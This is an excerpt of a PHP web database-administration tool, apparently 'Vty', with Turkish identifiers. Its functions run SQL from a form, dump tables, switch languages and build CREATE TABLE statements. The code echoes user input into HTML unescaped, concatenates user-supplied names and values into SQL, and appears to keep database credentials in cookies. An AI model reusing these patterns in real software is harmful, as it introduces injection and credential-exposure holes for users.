  1895. echo "\t\t\t".'</td>'."\n"."\t\t".'</tr>'."\n"."\t".'</table>'."\n";
  1896. }
  1897.  
  1898. function htmlSonu(){
  1899. echo "</body>"."\n"."</html>";
  1900. }
  1901.  
  1902. function ara(){
  1903. return '<font color="#999999">|</font>';
  1904. }
  1905.  
  1906. }//class:vty
  1907.  
  1908. ?>
  1909. <?php
  1910. class islemler
  1911. {
  1912.  
  1913. /**
  1914. * islemler
  1915. *
  1916. *
  1917. */
  1918. function islemler($vty)
  1919. {
  1920. $this->vty = $vty;
  1921. }
  1922.  
  1923. /**
  1924. * sesscikis
  1925. *
  1926. * �ikis tusuna basinca sessini kapatan fonksiyon
  1927. *
  1928. */
  1929. function sesscikis()
  1930. {
  1931. if( setcookie("vtykuki_host",1,time()-1) or setcookie("vtykuki_kullanici",1,time()-1) or setcookie("vtykuki_sifre",1,time()-1) /*or setcookie("vtySeGirDbTipi",1,time()-1)*/ ){
  1932. $soyle = '&nbsp;&nbsp;'.'<font color="green" >'.$this->vty->dug->uy['OturumKapa'].'</font>'."\n<br>\n".
  1933. '&nbsp;&nbsp;'.'<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Tamam'].'</a>'."\n".
  1934. '<meta http-equiv="refresh" content="1;URL='.$this->vty->urlyap($this->vty->linkler).'">';
  1935. }else{
  1936. $soyle = '&nbsp;<font color="red">'.$this->vty->dug->uy['OturumKaHata'].'</font><br><br>&nbsp;'.
  1937. '<a href="javascript:history.back(-1)" >� '.$this->vty->dug->dil['Geri'].'</a>'.
  1938. ' | <a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Iptal'].'</a>';
  1939. }
  1940. $this->vty->islemSonucu($soyle);
  1941. }
  1942.  
  1943.  
  1944. /**
  1945. * SqlGoster
  1946. *
  1947. * SQL �alistirma ve sonu� g�sterme ana formu, ana sayfasi
  1948. *
  1949. */
  1950. function SqlGoster()
  1951. {
  1952.  
  1953. $inquery = stripslashes(trim($this->vty->gp('inquery')));
  1954.  
  1955. $this->SqlGosterBasit($inquery);
  1956.  
  1957. $dbtbyaz = (!empty($this->vty->tablename)?$this->vty->dbname." . ".$this->vty->tablename : $this->vty->dbname);
  1958.  
  1959. if(strlen(trim($inquery))>0){
  1960. $this->vty->select_db();
  1961. $inqueryex = explode("\n",$inquery);
  1962. $count = count($inqueryex);
  1963. if($count>1){
  1964. $goster = '';
  1965. for($i=0;$i<$count;$i++){
  1966. $query = trim($inqueryex[$i]);
  1967. if(trim($query)!='' && trim($query)!=' ' && substr(trim($query),0,2)!='--' && substr(trim($query),0,1)!='#'){
  1968. $this->vty->db->vty_query($query);
  1969. if($this->vty->db->vty_error()==false){
  1970. $goster .= $this->vty->dug->dil['Satir'].' '.($i+1).' - '.'<font color="green" >'.$this->vty->dug->uy['KomutCalistirildi'].'</font>'.'<br />'."\n";
  1971. }else{
  1972. $goster .= $this->vty->dug->dil['Satir'].' '.($i+1).' - '.'<font color="red" >'.'<b>'.$this->vty->dug->dil['Hata'].': '.'</b>'.'</font>'.stripslashes($this->vty->db->vty_error()).'<br />'."\n";
  1973. }
  1974. }
  1975. unset($query);
  1976. }
  1977. }else{
  1978. $this->SqlGosterSonuc($inqueryex[0]);
  1979. if($this->vty->db->vty_error()){
  1980. $goster = "\t\t\t\t".'&nbsp;'.'<b>'.$this->vty->dug->dil['Sorgu'].":</b> ".stripslashes($inqueryex[0]).'<br />'."\n";
  1981. $goster .= "\t\t\t\t".'&nbsp;'.'<font color="red" ><b>'.$this->vty->dug->dil['Hata'].":</b> </font>".stripslashes($this->vty->db->vty_error())."\n";
  1982. }else{
  1983. $goster = "\t\t\t\t".'&nbsp;'.'<font color="green" ><b>'.$this->vty->dug->dil['Cevap'].":</b> </font>".$this->vty->dug->uy['KomutCalistirildi'].". - <b>".$this->vty->db->vty_affected_rows()."</b> ".$this->vty->dug->uy['KacSatirEtkilendi']."\n";
  1984. }
  1985. }
  1986. }
  1987.  
  1988. $this->vty->tabloBasi2();
  1989. echo (strlen(trim($inquery))>0?$goster:'<br />');
  1990. $this->vty->tabloSonu();
  1991. }
  1992.  
  1993. function SqlGosterBasit($inquery)
  1994. {
  1995. //DB_AYRIM
  1996. if($this->vty->ayar['db_type']=='mysql'){
  1997. $inquery = (!empty($inquery)?stripslashes($inquery): "SELECT * FROM `".$this->vty->tablename."` " );
  1998. }elseif($this->vty->ayar['db_type']=='mssql'){
  1999. $inquery = (!empty($inquery)?stripslashes($inquery): "SELECT * FROM [".$this->vty->tablename."] " );
  2000. }
  2001.  
  2002. $dbtbyaz = (!empty($this->vty->tablename)?$this->vty->dbname." . ".$this->vty->tablename : $this->vty->dbname.' . ?');
  2003. $this->vty->tabloBasi();
  2004. echo "\t\t\t\t"."<br>&nbsp;&nbsp; ".$this->vty->baslik($this->vty->dug->dil['Sql'].':')."<br>&nbsp;&nbsp; ".$dbtbyaz."<br>"."\n";
  2005. echo "\t".'<table>'."\n".
  2006. "\t".'<form name="fquery" action="'.$this->vty->urlyap("ne=sqlgoster&".$this->vty->linkler).'" method="post" >'."\n".
  2007. "\t\t".'<tr>'."\n".
  2008. "\t\t\t".'<td align="right" > <input name="uzat" type="checkbox" id="uzat" value="3" onClick="return fuzat();" '.($this->vty->gp('uzat')==3?'checked ':'').'> <label for="uzat" >'.$this->vty->dug->dil['Buyut'].'</label> </td>'."\n".
  2009. "\t\t".'</tr>'.
  2010. "\t\t".'<tr>'."\n".
  2011. "\t\t\t".'<td>'."\n".
  2012. "\t\t\t\t".'&nbsp;&nbsp; <textarea name="inquery" cols="90" rows="'.($this->vty->gp('uzat')==3?'25':'5').'">'.$inquery.'</textarea><br>'."\n".
  2013. "\t\t\t\t".'&nbsp;&nbsp; <input name="duzelt" type="submit" id="duzelt" value=" '.$this->vty->dug->dil['Gonder'].' "> | '."\n".
  2014. "\t\t\t\t".'<input name="temizle" type="reset" id="duzelt" value="'.$this->vty->dug->dil['Reset'].'"> | '."\n".
  2015. "\t\t\t\t".'<a href="'.$this->vty->urlyap("ne=sqlgoster&".$this->vty->linkler).'" >'.$this->vty->dug->dil['Yeni'].'</a> | '."\n".
  2016. // DOSYADAN "\t\t\t\t".'<a href="'.$this->vty->urlyap("ne=sqldosyadan&".$this->vty->linkler).'" >'.$this->vty->dug->dil['Dosyadan'].'</a> | '."\n".
  2017. "\t\t\t\t".'<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.$this->vty->dug->dil['Iptal'].'</a>'."\n".
  2018. "\t\t\t".'</td>'."\n".
  2019. "\t\t".'</tr>'."\n".
  2020. "\t".'</form>'."\n".
  2021. "\t".'</table >'."\n".
  2022. '<br>'."\n";
  2023. $this->vty->tabloSonu();
  2024. $this->SqlGosterJS();
  2025.  
  2026. }
  2027.  
  2028. function SqlGosterJS(){
  2029. echo '<script language="JavaScript" type="text/JavaScript" > <!--
  2030. function fuzat(){
  2031. var d = document.fquery;
  2032. if(d.uzat.checked==true) d.inquery.rows = 25; else d.inquery.rows = 5;
  2033. }'."\n".
  2034. '--> </script>'."\n";
  2035. }
  2036.  
  2037. function SqlGosterSonuc($sql){
  2038. $query = $this->vty->db->vty_query($sql);
  2039. if(!$this->vty->db->vty_error()){
  2040. $numrows = $this->vty->db->vty_num_rows($query);
  2041. $numfields = $this->vty->db->vty_num_fields($query);
  2042. $fetch = $this->vty->db->vty_fetch_row($query);
  2043. echo "\t".'<table width="'.$this->vty->dug->gor['table_width'].'" border="0" cellspacing="1" cellpadding="2">'."\n";
  2044. echo "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['ust_bgcolor'].'" height="30" cellpadding="3" >'."\n";
  2045. for($i=0;$i<$numfields;$i++){
  2046. echo "\t\t\t"."<td>";
  2047. echo "&nbsp;<strong>".$this->vty->db->vty_field_name($query,$i)."</strong>";
  2048. echo "</td>"."\n";
  2049. }
  2050. echo "\t\t"."</tr>\n";
  2051. for($k=0;$k<$numrows;$k++){
  2052. echo "\t\t".'<tr bgcolor="'.$this->vty->ikirenkli($k,$this->vty->dug->gor['ikirenklicolor1'],$this->vty->dug->gor['ikirenklicolor2']).'" >';
  2053. for($i=0;$i<$numfields;$i++){
  2054. $fieldname = $this->vty->db->vty_field_name($query,$i);
  2055. echo "\t\t\t".'<td valign="top" >&nbsp;';
  2056. echo htmlspecialchars($this->vty->db->vty_result($query,$k,"$fieldname"));
  2057. echo "</td>\n";
  2058. }
  2059. echo "\t\t"."</tr>\n";
  2060. }
  2061. echo "\t"."</table>"."\n";
  2062. }
  2063. }
  2064.  
  2065. /**
  2066. * SqlDosyadan
  2067. *
  2068. * When executing SQL commands from file
  2069. *
  2070. */
  2071. function SqlDosyadan(){
  2072. $inquery = $this->vty->gp('inquery');
  2073. $dosyadansql = $this->vty->gp('dosyadansql','f');
  2074.  
  2075. if(!empty($this->vty->dbname)){
  2076. $dbtbyaz = (!empty($this->vty->tablename)?$this->vty->dbname." . ".$this->vty->tablename : $this->vty->dbname); }
  2077. else{
  2078. $dbtbyaz = '';
  2079. }
  2080. $inquery = (isset($inquery)?stripslashes($inquery): "SELECT * FROM `".$this->vty->tablename."` " );
  2081. $soyle = '<form name="fquery" action="'.$this->vty->urlyap("ne=sqlgoster&".$this->vty->linkler).'" method="post" enctype="multipart/form-data" >'."\n".
  2082. "&nbsp;&nbsp; ".$this->vty->baslik($this->vty->dug->dil['Sql'].':')."<br>&nbsp;&nbsp; ".$dbtbyaz."<br><br>".
  2083. '&nbsp;&nbsp; <textarea name="inquery" cols="60" rows="6">'.$inquery.'</textarea><br>'."\n".
  2084. '&nbsp;&nbsp; <input name="dosyadansql" type="file" id="dosyadansql" size="70" accept="text/plain" ><br><br>'."\n".
  2085. '&nbsp;&nbsp; <input name="duzelt" type="submit" id="duzelt" value=" '.$this->vty->dug->dil['Gonder'].' "> | '.
  2086. '<input name="temizle" type="reset" id="duzelt" value="'.$this->vty->dug->dil['Reset'].'"> | '.
  2087. '<a href="'.$this->vty->urlyap($this->vty->linkler).'">'.$this->vty->dug->dil['Iptal'].'</a>'."</form>";
  2088. $this->vty->islemSonucu($soyle);
  2089. }
  2090.  
  2091. /**
  2092. * DumpEt
  2093. *
  2094. * When dumping tables
  2095. *
  2096. */
  2097. function DumpEt()
  2098. {
  2099. $this->vty->ust();
  2100. $this->vty->tabloBasi3();
  2101. echo $this->vty->baslik($this->vty->dug->dil['DumpTable']);
  2102. echo '<br><br><table border="1" cellpadding="5" cellspacing="0" bordercolor="#999999"><tr> <td>';
  2103. echo '<form name="dumpet_form" action="'.$this->vty->urlyap("ne=dumpet&nebu=sim&".$this->vty->linkler).'" onSubmit="return DumpEtJsKontrol();" method="post" >';
  2104. echo '<table><tr><td>';
  2105. echo $this->vty->dug->dil['Vt'].':<br>';
  2106. echo $this->vty->db_liste(2);
  2107. //if($this->vty->dbname!=''){
  2108. echo '<br><br><table cellpadding="0" cellspacing="0" ><tr><td>'.$this->vty->dug->dil['Tablo'].':</td>';
  2109. echo '<td align="right" ><span id="dumpet_span"></span><input type="checkbox" name="dumpet_hephic" value="3" onClick="return DumpEtJsHepHic();" ></td></tr>';
  2110. echo '<tr><td colspan="2" >'.$this->vty->tb_liste(2).'</td></tr></table>';
  2111. //}
  2112. echo '</td><td valign="bottom" align="left" ><br><br> &nbsp; ';
  2113. echo '<input type="radio" name="dumpet_creins" id="d01" value="both" checked ><label for="d01" >'.$this->vty->dug->dil['DumpBoth'].'</label><br> &nbsp; '."\n";
  2114. echo '<input type="radio" name="dumpet_creins" id="d02" value="create"><label for="d02" >'.$this->vty->dug->dil['DumpCreateOnly'].'</label><br> &nbsp; '."\n";
  2115. echo '<input type="radio" name="dumpet_creins" id="d03" value="insert" ><label for="d03" >'.$this->vty->dug->dil['DumpInsertOnly'].'</label><br><br> &nbsp; '."\n";
  2116. echo '<input type="checkbox" name="dumpet_dosyayakaydet" id="d04" value="evet" ><label for="d04" >'.$this->vty->dug->dil['SaveAsFile'].'</label><br> &nbsp; '."\n";
  2117. echo '</td></tr></table>'."\n";
  2118. echo '</td></tr></table>'."\n";
  2119. echo '<br>';
  2120. echo '<input type="submit" value="'.$this->vty->dug->dil['DumpSubmit'].'" >'."\n";
  2121. echo ' '.$this->vty->ara().' ';
  2122. echo '<a href="'.$this->vty->urlyap($this->vty->linkler).'">'.$this->vty->dug->dil['Iptal'].'</a><br><br>';
  2123. echo '<input name="dumpet_tablolar" type="hidden" value="" ><span id="dumpet_tablolars"></span>';
  2124. echo "</form>";
  2125. $this->DumpEtJs();
  2126. $this->vty->tabloSonu();
  2127. }
  2128.  
  2129. /**
  2130. * DumpEtSimdi
  2131. *
  2132. * When dumping tables
  2133. *
  2134. */
  2135. function DumpEtSimdi()
  2136. {
  2137. $dumpet_creins = $this->vty->gp('dumpet_creins');
  2138. $dumpet_dosyayakaydet = $this->vty->gp('dumpet_dosyayakaydet');
  2139.  
  2140. if($dumpet_dosyayakaydet == 'evet' ){
  2141. header("Content-type: text/plain"); //text/Vty-Dump "_".date("d_m_Y_H_i")
  2142. header("Content-Disposition: attachment; filename=vty_".$this->vty->dbname.".txt");
  2143. header("Pragma: no-cache");
  2144. header("Expires: 0");
  2145. }else{
  2146. header("Content-type: text/plain");
  2147. $this->htmlen = true;
  2148. }
  2149.  
  2150. $this->vty->BitimYok();
  2151. $database = $this->vty->dbname;
  2152. $tablolar = explode('/',$this->vty->gkp('dumpet_tablolar'));
  2153. $count = count($tablolar)-1;
  2154. for($j=0;$j<$count;$j++) $tablolars = $tablolars.$tablolar[$j].', ';
  2155.  
  2156. /// 1
  2157. echo "#\n# Vty - Table Dump\n#\n".
  2158. "# Version: ".$this->vty->vtyversion."\n".
  2159. "# URL: ".$this->vty->vtyUrl."\n#\n".
  2160. "# Date: ".date("d.m.Y - H:i:s")."\n".
  2161. "# Host: ".$this->vty->ayar['dbhost']."\n".
  2162. "# Database: ".$database."\n".
  2163. "# Table: ".$tablolars."\n".
  2164. "#\n\n\n";
  2165.  
  2166. for($i=0;$i<$count;$i++){
  2167. $tablename = $tablolar[$i];
  2168. if($tablename!=''){
  2169.  
  2170. echo "\n#\n# `".$tablename."` ----------------------------------------------------------\n#\n\n";
  2171.  
  2172. /// 2
  2173. if($dumpet_creins != 'insert' ){
  2174. echo "# Create Table Info\n";
  2175. $query = $this->vty->db->vty_query("SHOW CREATE TABLE `".$database."`.`".$tablename."`");
  2176. echo $this->vty->db->vty_result($query,0,"Create Table")."\n\n";
  2177. }
  2178.  
  2179. /// 3
  2180. if($dumpet_creins != 'create' ){
  2181. echo "# Insert Into Info\n";
  2182. $this->DumpEtSimdiInsertInto($tablename);
  2183. echo "\n\n\n";
  2184. }
  2185. }}
  2186.  
  2187. /// 4
  2188. echo "# End Of Vty Table Dump -------------------------------------------------------------\n\n";
  2189. }
  2190.  
  2191. /**
  2192. * DumpEt
  2193. *
  2194. */
  2195. function DumpEtSimdiInsertInto($tablename){
  2196. $query = $this->vty->db->vty_query("SELECT * FROM `".$this->vty->dbname."`.`".$tablename."`");
  2197. if($this->vty->db->vty_num_rows($query)>0){
  2198. while($satir = $this->vty->db->vty_fetch_row($query)){
  2199. $ret = "INSERT INTO `".$tablename."` VALUES (";
  2200. while (list ($key, $val) = each ($satir)) {
  2201. $val = ($this->htmlen==true?addslashes($val):$val);
  2202. //$val = preg_split ("/[\n,]+/", $val); //preg_replace(chr(11),'',$val);
  2203. //$val = preg_replace("/[\n\s\f\t]+/",'',$val);
  2204. $val = preg_replace("/[\n\r\f\t]+/",' ',$val);
  2205. $ret .= '"'.$val.'", ';
  2206. }
  2207. echo substr($ret,0,-2) . ");\n";
  2208. }
  2209.  
  2210.  
  2211. }else{
  2212. echo "# There is no row in the table.\n";
  2213. }
  2214. }
  2215.  
  2216.  
  2217. /**
  2218. * DumpEtJS
  2219. *
  2220. * Dump et sayfas�ndaki javascriptler
  2221. */
  2222. function DumpEtJs(){
  2223. echo "\n\n<script language='javascript'>
  2224. // Tablolarin hepsini yada hicbirini secmek icin kullanilir
  2225. func"."tion DumpEtJsHepHic(){
  2226. var d = document.dumpet_form;
  2227. var che = d.dumpet_tablelist;
  2228. var len = (typeof(che.length)!='undefined'?che.length:'0');
  2229. for(var i=0;i<len;i++){
  2230. che[i].selected = d.dumpet_hephic.checked;
  2231. }
  2232. DumpEtJsHepHicSayi();
  2233. }
  2234.  
  2235. DumpEtJsHepHicSayi();
  2236.  
  2237. // Kac tane tablo secildigini gosterir: 3/30 seklinde
  2238. func"."tion DumpEtJsHepHicSayi(){
  2239. var brow = (navigator.appName.substring(0,8)=='Netscape'?1:0);
  2240. var d = document.dumpet_form;
  2241. var che = d.dumpet_tablelist;
  2242. var len = (typeof(che.length)!='undefined'?che.length:'0');
  2243. var isimleri = '';
  2244. for(var i=0,j=0;i<len;i++){
  2245. if(che[i].selected == true ){
  2246. j++;
  2247. isimleri = isimleri + che[i].value + '/';
  2248. }
  2249. }
  2250. if(brow==1){
  2251. document.getElementById('dumpet_span').value = j+'/'+len;
  2252. d.dumpet_tablolar.value = isimleri;
  2253. }else{
  2254. dumpet_span.innerText = j+'/'+len;
  2255. d.dumpet_tablolar.value = isimleri;
  2256. }
  2257. return false;
  2258. }
  2259.  
  2260. func"."tion DumpEtJsKontrol(){
  2261. var d = document.dumpet_form;
  2262. var che = d.dumpet_tablelist;
  2263. var len = (typeof(che.length)!='undefined'?che.length:'0');
  2264. var k = false;
  2265. for(var i=0;i<len;i++){
  2266. if(che[i].selected == true){
  2267. i = len;
  2268. k = true;
  2269. }
  2270. }
  2271. return k;
  2272. }
  2273. </script>
  2274. ";
  2275. }
  2276.  
  2277. /**
  2278. * Select Language page
  2279. */
  2280. function Language($secildimi){
  2281. $this->vty->ust();
  2282. $this->vty->tabloBasi3();
  2283. echo $this->LanguageList($secildimi);
  2284. $this->vty->tabloSonu();
  2285. }
  2286.  
  2287. /*
  2288. * Language List for LANG page
  2289. */
  2290. function LanguageList($secildimi){
  2291. $diller = $this->vty->dug->diller();
  2292. $dl = $this->vty->dug->dl;
  2293. //$don .= '<form name="fDil" action="'.$this->vty->urlyap("ne=lang&".$this->vty->linkler).'" method="post" >'."\n";
  2294. $don .= '<form name="fDil" action="'.$this->vty->urlyap($this->vty->linkler).'" method="post" >'."\n";
  2295. $don .= '<h3>'.$this->vty->dug->uy['YeniDilSec'].':</h3>'."\n";
  2296. $don .= '<select name="dl" >'."\n";
  2297. foreach($diller as $key=>$dil)
  2298. $keys[] = $key;
  2299. foreach($diller as $di => $dil)
  2300. $don .= '<option value="'.$di.'" '.((empty($dl) or !in_array($dl,$keys)) ? ($di==$this->ayar['DefaultLang']?'selected':'') : ($dl==$di?'selected':'') ).' >'.$dil.'</option>'."\n";
  2301. $don .= '</select>'."\n";
  2302. $don .= '<br/><br/>';
  2303. $don .= '<input type="submit" name="fDilSubmit" value=" OK " > | ';
  2304. //$don .= '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >'.(isset($secildimi)?$this->vty->dug->dil['Iptal']:$this->vty->dug->dil['Iptal']).'</a>';
  2305. $don .= '<a href="'.$this->vty->urlyap($this->vty->linkler).'" >cancel</a>';
  2306. $don .= '</form>';
  2307. return $don;
  2308. }
  2309.  
  2310. /**
  2311. * YeniTableEkle
  2312. *
  2313. *
  2314. */
  2315. function YeniTableEkle(){
  2316. if($this->vty->gkp('devam')==''){
  2317. /// birinci
  2318. echo "\t".'<table width="'.$this->vty->dug->gor['table_width'].'" border = "'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'" cellpadding="'.($this->vty->dug->gor['cellpadding']+5).'" >'."\n".
  2319. "<form name=\"yeniTbForm\" method=\"post\" action=\"".$this->vty->urlyap($this->vty->linkler."ne=yeniTbEkle&devam=et")."\" onSubmit=\"return yeniTbOnSubmit();\">\n".
  2320. "\t\t".'<tr bgcolor="'.$this->vty->dug->gor['alt_bgcolor'].'" >'."\n".
  2321. "<td>\n<br>&nbsp;&nbsp;".$this->vty->baslik($this->vty->dug->dil['TbEkle'])."\n<br><br>\n&nbsp;&nbsp;".$this->vty->dug->dil['VtAdi']." . ".$this->vty->dug->dil['TbAdi']." :<br>\n";
  2322. // tablo listele
  2323. echo '&nbsp;&nbsp;<select name="sdb">'."\n";
  2324. $db_list = $this->vty->db->vty_list_dbs($this->vty->baglan);
  2325. while ($row = $this->vty->db->vty_fetch_object($db_list)) {
  2326. $DatabaseNameInObject = $this->vty->db->vty_list_dbs_databasename();
  2327. $tempdb = $row->$DatabaseNameInObject;
  2328. $selected = ( $tempdb == $this->vty->dbname ? 'selected' : '' );
  2329. echo "<option value=\"$tempdb\" $selected>$tempdb</option>\n";
  2330. } //w
  2331. echo "</select>\n";
  2332. echo '&nbsp;&nbsp;<strong>.</strong>&nbsp;&nbsp;<input name="yeniTbAdi" type="text" id="yeniTbAdi">'.
  2333. '<br><br>&nbsp;&nbsp;'.$this->vty->dug->dil['SutunSys'].' :<br>&nbsp;&nbsp;'.
  2334. '<input name="yeniTbAlanSayisi" type="text" id="sb" size="2"><br>'."\n".
  2335. '<br>&nbsp;&nbsp;<input name="yeniTbDevam" type="submit" id="yeniTbDevam" value=" '.$this->vty->dug->dil['Devam'].' "> | '.
  2336. "<a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Iptal']."</a><br><br><br>\n".
  2337. "</td>\n</tr>\n</form>\n</table>\n";
  2338.  
  2339. } elseif($this->vty->gkp('devam')=="et"){
  2340. /// ikinci
  2341. if($this->vty->gkp('yeniTbAlanSayisi') == 0){
  2342. echo "yok";
  2343. }else{
  2344. $yeniTbUzunluk = strlen($this->vty->gkp(yeniTbAdi));
  2345. echo '<table bgcolor="'.$this->vty->dug->gor['alt_bgcolor'].'" border = "'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'" cellpadding="'.($this->vty->dug->gor['cellpadding']+5).'" >'."\n".
  2346. "<form name=\"yenitb2form\" action=\"".$this->vty->urlyap("ne=yenitbekliyorum&".$this->vty->linkler)."\" method=\"post\">\n<tr>\n".
  2347. "<td colspan=\"9\"><br>".$this->vty->baslik($this->vty->dug->dil['TbEkle'])."<br>".$this->vty->gkp('sdb')." . <input name=\"yeniTbAdi\" type=\"text\" value=\"".$this->vty->gkp(yeniTbAdi)."\" size=\"".$this->vty->gkp($yeniTbUzunluk)."\" >".
  2348. " <br><br></td></tr>\n".
  2349. '<tr><td><table><tr bgcolor="'.$this->vty->dug->gor['ust_bgcolor'].'" border="'.$this->vty->dug->gor['border'].'" cellspacing="'.$this->vty->dug->gor['cellspacing'].'"'.'cellpadding="'.$this->vty->dug->gor['cellpadding'].'" align="center" height="30" >'.
  2350. "<td>&nbsp;<b>#</b>&nbsp;</td>\n<td>&nbsp;<b>S�tun Ad� :</b></td>\n<td>&nbsp;<b>T�r� :</b> </td>\n<td> &nbsp;<b>Boyutu :</b></td>\n".
  2351. "<td> &nbsp;<b>�zellik :</b></td>\n <td>&nbsp;<b>Bos mu? :</b> </td>\n<td>&nbsp;<b>Anahtar :</b></td>\n".
  2352. "<td>&nbsp;<b>�lk De�eri :</b> </td>\n<td>&nbsp;<b>Di�er :</b></td>\n</tr>\n";
  2353. for($i=0;$i<$this->vty->gkp('yeniTbAlanSayisi');$i++){
  2354. echo //"<tr bgcolor=\"".ikirenkli($i,"$ikirenklicolor1","$ikirenklicolor2")."\" border = \"$border\" cellspacing=\"$cellspacing\" cellpadding=\"$cellpadding\">\n".
  2355. "<tr bgcolor=\"".$this->vty->ikirenkli($i,$this->vty->dug->gor['ikirenklicolor1'],$this->vty->dug->gor['ikirenklicolor2'])."\" cellpadding=\"".$this->vty->dug->gor['cellpadding']."\">\n".
  2356. "<td>".($i+1)."</td>\n".
  2357. "<td><input type=\"text\" name=\"sutunadi[]\"></td>\n".
  2358. "<td>\n".$this->vty->AlanTurleri("turu[]")."</td>\n".
  2359. "<td><input type=\"text\" name=\"boyutu[]\" size=\"4\" ></td>\n".
  2360. "<td>\n<select name = \"ozellik[]\" size=\"1\">\n<option>-</option>\n<option>unsigned</option>\n".
  2361. "<option>unsigned zerofill</option>\n<option>binary</option>\n</select></td>\n".
  2362. "<td><input name=\"bosmu[]\" type=\"checkbox\" value=\"NULL\"> NULL</td>\n".
  2363. "<td>\n<select name = \"anahtar[]\" size=\"1\">\n<option>-</option>\n<option>primary</option>\n".
  2364. "<option>unique</option>\n<option>index</option>\n</select></td>\n".
  2365. "<td><input type=\"text\" name=\"ilkdegeri[]\"></td>\n".
  2366. "<td>\n<select name = \"diger[]\" size=\"1\">\n<option>-</option>\n<option>auto_increment</option>\n</select></td>\n".
  2367. "</tr>\n";
  2368. } //f
  2369. echo "</table></td></tr><tr>\n<td colspan=\"9\" ><br>&nbsp;<input type=\"submit\" name=\"ekle\" value=\" ".$this->vty->dug->dil['Olustur']." \"> | ".
  2370. //"<input type=\"reset\" name=\"reset\" value=\"Temizle\"> | ".
  2371. "<input name=\"fieldsayisi\" type=\"hidden\" value=\"".$i."\">".
  2372. "<a href=\"javascript:history.back(-1)\">".$this->vty->dug->dil['Geri']."</a> | ".
  2373. "<a href=\"".$this->vty->urlyap($this->vty->linkler)."\">".$this->vty->dug->dil['Iptal']."</a> <br><br></td>\n</tr>\n".
  2374. "</form>\n</table>\n";
  2375. }//i
  2376. } //i : devam
  2377.  
  2378. }
  2379.  
  2380. /**
  2381. * YeniTableEkliyorum
  2382. *
  2383. *
  2384. */
  2385. function YeniTableEkliyorum(){
  2386.  
  2387. $fieldsayisi = $this->vty->gp('fieldsayisi');
  2388. if(!empty($fieldsayisi)){
  2389. $primaryk = '';
  2390. $indexk = '';
  2391. $uniquek = '';
  2392. $createDef = '';
  2393. $key = '';
  2394. for($k=0,$p=0,$u=0,$n=0,$i=0; $i < $fieldsayisi;$i++){
  2395. $sutunadi = $this->vty->gp('sutunadi');
  2396. $turu = $this->vty->gp('turu');
  2397. $boyutu = $this->vty->gp('boyutu');
  2398. $ozellik = $this->vty->gp('ozellik');
  2399. $bosmu = $this->vty->gp('bosmu');
  2400. $diger = $this->vty->gp('diger');
  2401. $ilkdegeri = $this->vty->gp('ilkdegeri');
  2402. if(!empty($sutunadi[$i])){
  2403. //$girenler = array("boyutu","turu","ozellik","bosmu","anahtar","ilkdegeri","diger");
  2404. //foreach($girenler as $giren){@array($$giren);}
  2405. unset($girenler);
  2406. if($anahtar[$i]){
  2407. if($anahtar[$i] == 'primary'){
  2408. if($p==0){ $primaryk = "PRIMARY KEY ("; $p++;}
  2409. $primaryk = $primaryk.$sutunadi[$i].', ';
  2410. }
  2411. if($anahtar[$i] == 'index'){
  2412. if($n==0){ $indexk = "INDEX ".$sutunadi[$i]."("; $n++;}
  2413. $indexk = $indexk.$sutunadi[$i].', ';
  2414. }
  2415. if($anahtar[$i] == 'unique'){
  2416. if($u==0){ $uniquek = "UNIQUE ".$sutunadi[$i]."("; $u++;}
  2417. $uniquek = $uniquek.$sutunadi[$i].', ';
  2418. }
  2419. }
  2420.  
  2421. $turu[$i] = stripslashes(((!empty($turu[$i]) and $turu[$i] != '-') ? $turu[$i] : '' ));
  2422. $boyutu[$i] = stripslashes((!empty($boyutu[$i]) ? '('.$boyutu[$i].')' : '' ));
  2423. $ozellik[$i] = stripslashes(((!empty($ozellik[$i]) and $ozellik[$i] != '-') ? $ozellik[$i] : '' ));
  2424. $bosmu[$i] = stripslashes(((!empty($bosmu[$i]) and $bosmu[$i] == 'NULL') ? 'NULL' : 'NOT NULL'));
  2425. $diger[$i] = stripslashes(((!empty($diger[$i]) and $diger[$i] != '-') ? $diger[$i] : '' ));
  2426. $ilkdegeri[$i] = stripslashes((!empty($ilkdegeri[$i]) ? 'DEFAULT "'.$ilkdegeri[$i].'"' : '' ));
  2427.  
  2428. $createDef = $createDef.' '.$sutunadi[$i].' '.$turu[$i].$boyutu[$i].' '.$ozellik[$i].' '.$bosmu[$i].' '.$ilkdegeri[$i].' '.$diger[$i].", \n";
  2429.  
  2430. $k++;
  2431. }//i
  2432. }//f
  2433. $primaryk = substr($primaryk,0,-2).")";
  2434. $indexk = substr($indexk,0,-2).")";
  2435. $uniquek = substr($uniquek,0,-2).")";
  2436. $key = substr(($p>0?$primaryk.", ":'').($n>0?$indexk.", ":'').($u>0?$uniquek.", ":''),0,-2);
  2437. $createDef = ( !empty($key)?substr($createDef,0,-2):substr($createDef,0,-3));
  2438. if(!empty($createDef)){
  2439. $sql= "CREATE TABLE `".$this->vty->dbname."`.`".$this->vty->gp('yeniTbAdi')."` ( $createDef $key )";
  2440. $this->vty->tabloBas('','','20','');
  2441. $this->vty->SonucGoster($sql,ereg_replace('@NewTbName@',$this->vty->gp('yeniTbAdi'),$this->vty->dug->uy['YeniTbOldu']),ereg_replace('@NewTbName@',$this->vty->gp('yeniTbAdi'),$this->vty->dug->uy['YeniTbHata']) );
  2442. $this->vty->tabloSonu();
  2443. }
  2444. if($k==0) $this->vty->HataGoster2("<br>G�nderdiniz form bos.");
  2445. }//i
  2446. }
  2447.  
  2448. /**
  2449. * YeniDatabaseEkle
  2450. *
  2451. * Yeni Database Ekleme Formu
  2452. *
  2453. */
  2454. function YeniDatabaseEkle(){
  2455. $this->vty->ust();
  2456. $this->vty->tabloBas('','','20','');
  2457. echo "<form name=\"yeniDbForm\" method=\"post\" action=\"".$this->vty->urlyap("ne=yeniDbEkliyorum")."\" onSubmit=\"return yeniDbOnSubmit();\">\n".
  2458. $this->vty->baslik($this->vty->dug->dil['DbEkle'])."<br><br>\n".$this->vty->dug->dil['VtAdi']." :\n<br>".
